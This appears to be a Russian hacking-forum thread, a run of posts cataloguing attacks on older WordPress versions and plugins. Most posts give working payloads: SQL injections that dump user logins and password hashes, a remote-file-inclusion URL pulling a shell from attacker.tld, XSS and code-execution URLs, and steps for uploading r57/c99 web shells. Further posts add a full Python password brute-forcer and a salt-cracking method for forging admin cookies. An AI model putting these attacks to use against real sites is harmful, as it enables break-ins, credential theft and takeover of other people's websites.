ГлавнаяРегистрацияВход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Проверка сайта на уязвимости! » Форум » Уязвимости » Обзор уязвимостей WordPress
Обзор уязвимостей WordPress
DecideДата: Среда, 14.11.2012, 10:47 | Сообщение # 31
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Wordpress Photo album Remote SQL Injection Vulnerability

EXAMPLE
Цитата:
http://xxxxxxxx/?page_id=13&album= [exploit]

Сплоит
Цитата:
user_name&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201

зы
Цитата:
allinurl: page_id album "photo"
 
DecideДата: Среда, 14.11.2012, 10:47 | Сообщение # 32
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
RFI

Register Globals: ON

PoC:

Код:

http://victim.tld/wordpre....hlight.
php?libpath=http://attacker.tld/shell.txt?

XSS

Register Globals: ON

PoC:

Код:

http://victim.tld/wordpre....ing.php
?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpre....ce.php?
text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpre....t.php?t
ext=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpre.....php?ur
l=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/scrip
t%3E
http://victim.tld/wordpre....p?text=
%3Cli%3E

Register Globals: Off

Код:

http://victim.tld/wordpre....hp?page
=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script
%3E

Remote Code Execution

Register Globals: ON

PoC:

Код:

http://victim.tld/wordpre....p?text=
%3C?php%20system(%22ls%22);
 
DecideДата: Среда, 14.11.2012, 10:47 | Сообщение # 33
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress Download Counter SQL-INJ:

DownloadCounter.php
PHP код:
/*
Plugin Name: Download Counter Modded Rus
Plugin URI: http://www.cybercore.ru/
Description: Подсчитывает количество скачек файла. Автоматически генерит ссылку и код для использования на сайте. Локализованная и улучшеная версия. Оригинальная версия плагина доступна <a href="http://n0id.hexium.net/plugins">Download Counter</a>, автор Vanguard
Author: Tapac
Version: 1.5.rus
Author URI: http://www.cybercore.ru
*/

Bug Code: (download.php)
PHP код:
if(isset($_GET['id'])){
$query=mysql_query("SELECT * FROM $downloadCounter_table WHERE id = '".addslashes($_GET[id])."'");

if (mysql_num_rows($query)) {
$row=mysql_fetch_array($query);
mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".addslashes($_GET[id])."'");
}
}elseif ($_GET['name']){
$query=mysql_query("SELECT * FROM $downloadCounter_table WHERE label = '".$_GET['name']."'");
if (mysql_num_rows($query)) {
$row=mysql_fetch_array($query);
mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".$row['id']."'");
}
}
 
DecideДата: Среда, 14.11.2012, 10:47 | Сообщение # 34
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
XSS

Vulnerable: 2.3.2

PoC:
Код:

http://site.wordpress.com/wp-admi....il=[XSS C0d3]

http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%
3Cscript%3Ealert (document.cookie);%3C/script%3E
 
DecideДата: Среда, 14.11.2012, 10:48 | Сообщение # 35
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Раскрытие пути (работает <=2.3.3)
Код:
http://site.com/path_to_wp/wp-content/plugins/hello.php

Обычно этот файл никто не удаляет. Ну и получаем:
Код:
Code
Fatal error: Call to undefined function: wptexturize() in /home/ks011/www/wp-content/plugins/hello.php on line 44
 
DecideДата: Среда, 14.11.2012, 10:48 | Сообщение # 36
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Заливка шелла (если вам повезло и вы админ)
тестировалось на версии 2.3.3

Все очень просто ..
идем в панель администратора, Write => Write Post или Write Page => и делаем upload вашего шелла
и вот он
Код:
/wp-content/uploads/[Год]/[месяц]/shell.php

пример:
Код:
http://localhost/wordpress/wp-content/uploads/2008/03/x.php

з.ы.
Просмотрел всю тему, про заливку ничего не было сказано.
 
DecideДата: Среда, 14.11.2012, 10:48 | Сообщение # 37
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Wordpress Plugin Download file Remote SQL Injection Vulnerability

Код:
Example:
http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]
SQL:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_use
 
DecideДата: Среда, 14.11.2012, 10:48 | Сообщение # 38
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Раскрытие пути:
Code
/wp-admin/import/blogger.php
/wp-admin/import/blogware.php
/wp-admin/import/btt.php
/wp-admin/import/dotclear.php
/wp-admin/import/greymatter.php
/wp-admin/import/jkw.php
/wp-admin/import/livejournal.php
/wp-admin/import/mt.php
/wp-admin/import/rss.php
/wp-admin/import/stp.php
/wp-admin/import/textpattern.php
/wp-admin/import/utw.php
/wp-admin/import/wordpress.php
/wp-admin/import/wp-cat2tag.php
/wp-admin/includes/admin.php
/wp-admin/includes/class-ftp-pure.php
/wp-admin/includes/class-ftp-sockets.php
/wp-admin/includes/comment.php
/wp-admin/includes/file.php
/wp-admin/includes/media.php
/wp-admin/includes/misc.php
/wp-admin/includes/schema.php
/wp-admin/includes/update.php
/wp-admin/includes/upgrade.php
/wp-admin/includes/widgets.php
/wp-admin/admin-footer.php
/wp-admin/admin-functions.php
/wp-admin/edit-category-form.php
/wp-admin/edit-form-advanced.php
/wp-admin/edit-form-comment.php
/wp-admin/edit-form.php
/wp-admin/edit-link-category-form.php
/wp-admin/edit-link-form.php
/wp-admin/edit-page-form.php
/wp-admin/edit-tag-form.php
/wp-admin/menu-header.php
/wp-admin/menu.php
/wp-admin/options-head.php
/wp-admin/upgrade-functions.php
/wp-content/plugins/akismet/akismet.php
/wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php
/wp-content/plugins/hello.php
/wp-content/plugins/rus-to-lat.php
/wp-content/plugins/russian-date.php
/wp-content/themes/classic/comments-popup.php
/wp-content/themes/classic/comments.php
/wp-content/themes/classic/footer.php
/wp-content/themes/classic/header.php
/wp-content/themes/classic/index.php
/wp-content/themes/classic/sidebar.php
/wp-content/themes/default/404.php
/wp-content/themes/default/archive.php
/wp-content/themes/default/archives.php
/wp-content/themes/default/attachment.php
/wp-content/themes/default/comments-popup.php
/wp-content/themes/default/footer.php
/wp-content/themes/default/functions.php
/wp-content/themes/default/header.php
/wp-content/themes/default/image.php
/wp-content/themes/default/index.php
/wp-content/themes/default/links.php
/wp-content/themes/default/page.php
/wp-content/themes/default/search.php
/wp-content/themes/default/searchform.php
/wp-content/themes/default/sidebar.php
/wp-content/themes/default/single.php
/wp-includes/js/tinymce/langs/wp-langs.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
/wp-includes/bookmark.php
/wp-includes/canonical.php
/wp-includes/default-filters.php
/wp-includes/feed-atom-comments.php
/wp-includes/feed-atom.php
/wp-includes/feed-rdf.php
/wp-includes/feed-rss.php
/wp-includes/feed-rss2-comments.php
/wp-includes/feed-rss2.php
/wp-includes/general-template.php
/wp-includes/kses.php
/wp-includes/media.php
/wp-includes/registration-functions.php
/wp-includes/rss-functions.php
/wp-includes/rss.php
/wp-includes/script-loader.php
/wp-includes/shortcodes.php
/wp-includes/template-loader.php
/wp-includes/update.php
/wp-includes/vars.php
/wp-includes/widgets.php
/wp-settings.php
 
DecideДата: Среда, 14.11.2012, 10:49 | Сообщение # 39
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Нашёл SQL-injection и пассивную XSS в модуле Wordpress Automatic upgrade (версия, кажется 1.1)

Для выполнения требуются права администратора. SQL осложняется тем, что уязвимый запрос выглядит так "DESCRIBE table", так-же фильтруются апострофы и кавычки.

Пример:

Код:

<form method="POST" action="http://site/wp-admin/edit.php?page=wordpress-automatic-upgrade%2Fwordpress-automatic-upgrade.php&task=backupdb">
core_tables: <input type="text" name="core_tables[1]" value="<script>alert(/XSS_AND_SQL1/)</script>"><br/>
other_tables: <input type="text" name="other_tables[1]" value="<script>alert(/XSS_AND_SQL2/)</script>"><br/>
<input type="submit">
</form>

WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt

Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html

==============================

Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию.

Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj).
Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора.
Прилагается специальный консольный брутер под никсы.

==============================

Важное дополнение

Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей!
Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию.

пхп скрипт генерирующий куку прилагается
 
DecideДата: Среда, 14.11.2012, 10:49 | Сообщение # 40
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability

SQL-Injection

Code
http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,conca  t(user_login,0x3a,user_pass,0x3a,user_email),3,4+f  rom+wp_users--&display=plain
 
DecideДата: Среда, 14.11.2012, 10:49 | Сообщение # 41
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
только для версии <=2.3.x
Если вы случайно забыли пароль от админки), то можно сменить его через phpmyadmin. Подробнее.
http://cubegames.net/blog/2008/04/26/reset-wp-password-via-phpmyadmin/

запрос
Цитата:
UPDATE `wordpress`.`wp_users` SET `user_pass` = MD5('antichat') WHERE `wp_users`.`user_login` =`admin` LIMIT 1;

Этот метод может быть полезен если не сработало сбрасывание пасс на мыло.

http://trac.wordpress.org/ticket/6842

идет обрезание ключа почтавиками в частности gmail

версия 2.5.1 последняя на сегодняшний день.
 
DecideДата: Среда, 14.11.2012, 10:50 | Сообщение # 42
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Активная XSS в Blix Theme, которую сейчас часто ставят на WP.
Код:
http://site/index.p....ript%3E

еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.
 
DecideДата: Среда, 14.11.2012, 10:50 | Сообщение # 43
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц
Например:
Код:
http:// [host]/index.php?paged=-12

Wordpress <= 2.5.1 Malicious File Execution Vulnerability

Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов.
Вобщем-то об этом все и так знали =)

Код:
================================================== ========

Wordpress Malicious File Execution Vulnerability

================================================== ========

AUTHOR : CWH Underground
DATE : 18 May 2008
SITE : www.citecclub.org

################################################## ###
APPLICATION : Wordpress Blog
VERSION : <= 2.5.1
VENDOR : http://wordpress.org/
DOWNLOAD : http://wordpress.org/download
################################################## ###

DORK: N/A

---DESCRIPTION---
You must login into wordpress with Administrator Roles

1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems
and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php

2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another"
Dont Worry, Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section.
Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL....

Let's Fun...

---NOTE/TIP---

In Plugins Edit section, Use comment /* ... */ to keep plugins code before add shells.

################################################## ################
Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C
################################################## ################
 
DecideДата: Среда, 14.11.2012, 10:50 | Сообщение # 44
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Wordpress Bruterorce

Code
############# Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky  
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [  i for i in tab ]
def node( table, parent, size ):
  if size == 0:
   pass
  else:
   for c in table:
    string = "%s%s"%( parent, c )
                         data = {'log': sys.argv[2],
                    'pwd': string}
                         print "[+] Testing : "+string
                         request = urllib2.Request(server, urllib.urlencode(data))
                         f = urllib2.urlopen(request).read()
                         if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
    node( table, string, size-1 )
   
def bruteforce( table, size ):
  for c in table:
   node( table, c, size-1 )
    
if (len(sys.argv) < 3):
     print "Usage : float.py <server> <user> <choice> <dico-characters>"
     print "\nDefault: User is 'admin'"
     print "Choice : 1} Dictionnary Attack, use dictionnary file"
     print "         2} Bruteforce Attack, use number of character for password"
      
else:
     server = sys.argv[1]
     if sys.argv[3] == "1":
  a , b = open(sys.argv[4],'r') , 0
  for lines in a: b = b + 1
  a.seek(0)  
  c = 0
  while (c < b):
   mot = a.readline().rstrip()
   data = {'log': sys.argv[2],
     'pwd': mot}
   print "[+] Testing : "+mot
   request = urllib2.Request(server, urllib.urlencode(data))
   f = urllib2.urlopen(request).read()
   if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
   else: c = c + 1 ; pass
     if sys.argv[3] == "2":
  print "[-] Server is : "+server
  print "[-] User is : "+sys.argv[2]
  print "[-] Number of characters are : "+sys.argv[4]
         number = int(sys.argv[4])
         bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).  

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).  

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password <img src="http://s49.ucoz.net/sm/1/wink.gif" border="0" align="absmiddle" alt="wink" />  

Kad'
 
DecideДата: Среда, 14.11.2012, 10:52 | Сообщение # 45
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23

WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52

Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
Цитата:
HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)

Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

PHP код:
function wp_validate_auth_cookie($cookie = '') {
........................
list($username, $expiration, $hmac) = explode('|', $cookie);
$expired = $expiration;
........................
if ( $expired < time() )
return false;
........................
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
........................
if ( $hmac != $hash )
return false;
}

function wp_hash($data) {
$salt = wp_salt();
if ( function_exists('hash_hmac') ) {
return hash_hmac('md5', $data, $salt);
} else {
return md5($data . $salt);
}
}

Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

PHP код:
function wp_salt() {
........................
if ( empty($salt) ) {
$salt = wp_generate_password();
update_option('secret', $salt);
}
........................
}

function wp_generate_password() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789";
$length = 7;
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, 61), 1);
return $password;
}

Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.

PHP код:
$hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt);
$hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey);

Спасибо +toxa+ и W[4H]LF за потраченное на меня время

Цитата:
шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс

+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))
 
Проверка сайта на уязвимости! » Форум » Уязвимости » Обзор уязвимостей WordPress
Поиск:

Пятница, 26.04.2024, 05:28
Copyright MyCorp © 2024Бесплатный хостинг uCoz